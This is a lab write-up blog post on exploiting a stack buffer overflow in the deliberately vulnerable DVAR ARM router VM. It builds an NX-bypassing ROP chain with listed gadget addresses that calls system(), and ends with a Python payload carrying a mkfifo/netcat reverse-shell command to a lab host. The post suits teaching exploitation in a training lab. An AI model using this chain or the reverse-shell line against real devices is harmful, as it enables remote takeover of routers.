ARM buffer overflow: taking control of ARM router via ROP (^___^) (day 68)

Disclaimer: This post only for education only ! not to cause any destruction on any living system. Be smart!

OK so from the previous post of ARM buffer overflow, we see that we are capable of bypassing the NX protection mechanism in ARM binary and overwriting the global variable we can see how powerful ROP it is if we are able to utilize right, but can we do it more? are we able to create a reverse shell to take control of some IOT devices using ROP?

to demonstrate this capability let's try to do some challenge, we are going to use this following ARM IOT exploit lab from Saumil shah (https://blog.exploitlab.net/2018/03/dvar-rop-challenge-bonus-round-unlocked.html)


It is pretty easy to set up the machine, all you have to do is to import the vm image in your vmware (you can use the community version or the paid version)



Once you loaded the VM it will show something like this, it will give you basic information such as the IP address of the router and ssh credential

our job is to take control of the router web server.

Recon..recon..recon:

let's take our time to understand this machine a little bit, try to open the IP address via browser and let's see what we got there.



I try to explore the web page and nothing interesting rather than the index page itself but every time I try to interact with the index page/setup page by clicking the submit button it will lead to a crash.

there are some help page that can help us establish the workflow of the exploit






After that, I just move on to access the router via ssh



I try to enumerate what port this router opens and it turns out there is a second web server that is running in port 8080 that runs on lightsrv.



when I go to the web server, it only shows this page that shows a red light but every time that I click the button the VM starts showing some text but don't worry it doesn't really matter.

Debug...debug...debug..:

from this point, I can't find anything interesting that resides in the webserver so I decided to attach gdbserver on the webserver 8080 and try to crash the application to see if we are able to take control of the PC register.



I suggest you guys before connecting to the gdb server, you need to have gdb-multiarch and gef to make your life easier.

attach to the gdb server by following this command:

(gef)> target remote 192.168.57.134:5000



one more thing before you type "continue" in the gef console. As you guys know that our goal now is to crash the webserver so we can craft our exploit the thing is every time it crashes we must restart the gef again and again. To make this least painful type this following command:



we are going to see how useful this command later

next, we are going to create a python script to try to send a long URL to crash the webserver. The payload that I sent is a long pattern that we can use later to determine the offset.



execute the python script and we got a crash



from the result, we need at least 2054 bytes of offset to take over the PC



(Note: if the python script result is not what you expected when the webserver is crash try to run the script again in python console, that should also work)

cool so we know that the webserver is vulnerable to buffer overflow let's try to check the anti mechanism exploits that the router used.

from the result, the NX / DEP protection is on this means that the stack is not executable so we need to utilize ROP to bypass this defense and you can see from the figure again, that we can use ROP to call system function to execute a shell

if you take a look at the Linux man page for system function, this function only needs one argument to be supplied.

NAME
       system - execute a shell command

SYNOPSIS
       #include <stdlib.h>

       int system(const char *command);

now, creating a ROPgadget is purely based on your creativity you can follow my process on how to construct the ROP or if you are already comfortable with this approach you can do it by yourself.

first, we need to determine what kind of register we want to set up in our ROP to call the system function. As you know in ARM, the first three-parameter is stored in r0-r3 (arg1-arg3) since we only need to supply one argument we only care about r0.

my approach is to make the r0 have a pointer to the stack that contains the command that I want to execute. Whereas for system function call I will store the system function address in r1 register

Constructing ROP for system() function call (phase 1)

to find the appropriate ROP gadget I will be using ropper tools and I copy the libc library to my host computer.

as you already realize that we cannot use the address system function because it contains a null byte (0x000109c8) to overcome this limitation we will add this address with 0x01010101 so it will become 0x1020ac9

we are gonna load this value using a gadget which contains pop instruction into one of the available register (r1-r7) and then we will find another gadget to store 0x01010101 value into other available register and then last perform an arithmetic operation to subtract this two value so it will result with the address of system function again.

we will use r1 and r3 to store these two value, using ropper I manage to find a proper gadget to do the job

load the libc library using this command: ~# ropper --file libc.so --console

this command will get the value at the top of the stack and then put it in r1 register. But unfortunately, there is no gadget to be able to pop a value at the top of the stack to r3, no worries we can change to THUMB mode to find the right gadget

then we need to the final gadget that is able to do subtraction between these two registers and store it into r0

we left only with one gadget but sadly the jump is not based on pc register rather than it was using what store in the lr register to be jump

so before we execute this gadget we need to make sure we set lr register with an address that point to pop {pc} instruction so it will return our execution back again to the stack

after a while searching using ropper I find this gadget to be less difficult to set up:

Don't worry since we only need the lr register, the rest of the register can be provided with junk value. Using this information we can construct our gadget the following way:

(0x0004d914) # pop {r4, r5, r6, r7, lr}; bx lr;   
0x41414141
0x41414141
0x41414141
0x41414141
(0x0001c62d) # pop {pc};
(0x00058ee4) # pop {r1, pc};
0x01020ac9
(0x0005a447) # pop {r3, pc};
0x01010101
(0x00058c8c) # sub r1, r1, r3; bx lr;
(0x0001c62d) # pop {pc};
0x43434343

update it with our previous python script and we are able to set r1 to point to system function like below figure

before you execute the script:

you need to change to another thread of the webserver since last time we crashed it. Follow this step

(gef) c # to close the thread it will show segfault and the color of the font will turn red
(gef) info inferior # this will list all of the thread ids that running at this phase yours will be pointing to a null
(gef) inferior 1 #to switch to the current running thread in the webserver

with this approach, you don't need to reopen gef and re-run gdbserver again

Constructing the parameter for function system() in R0 (phase 2)

in this phase, my approach will be pop the address of the stack that contains a command to my shell command into r0 register. Because the ASLR is off I can just hardcoded the address

 

and after that, All I have to do is to call the system() function that was contained in r1

the final problem will be constructing the command that I used to create a reverse shell back to my machine. The ARM machine has only provided the necessary Linux utility command that we can use, so I just copy-paste the command from this website (https://no-sec.net/writeup-dvar-rop-challenge/) I'm too lazy to come up with my own way lol !

so the second phase of our ROP will be like this:

payload += p32(libc + 0x000598b7) #pop {r0, pc};
payload += p32(0xbeffed94) #the bash shell located in stack
payload += p32(libc + 0x00043850) #blx r1;
payload += 'rm\t/tmp/f;mkfifo\t/tmp/f;cat\t/tmp/f|/bin/sh\t-i\t2>&1|nc\t192.168.57.1\t4444\t>/tmp/f;rm\t/tmp/f;#' #the bash shell

run the exploit and we are good to go

Don't forget to open a port to receive the incoming connection from our exploit.



cool so we are able to pop a shell :)

That's all I hope you enjoy this post

references:

https://no-sec.net/writeup-dvar-rop-challenge/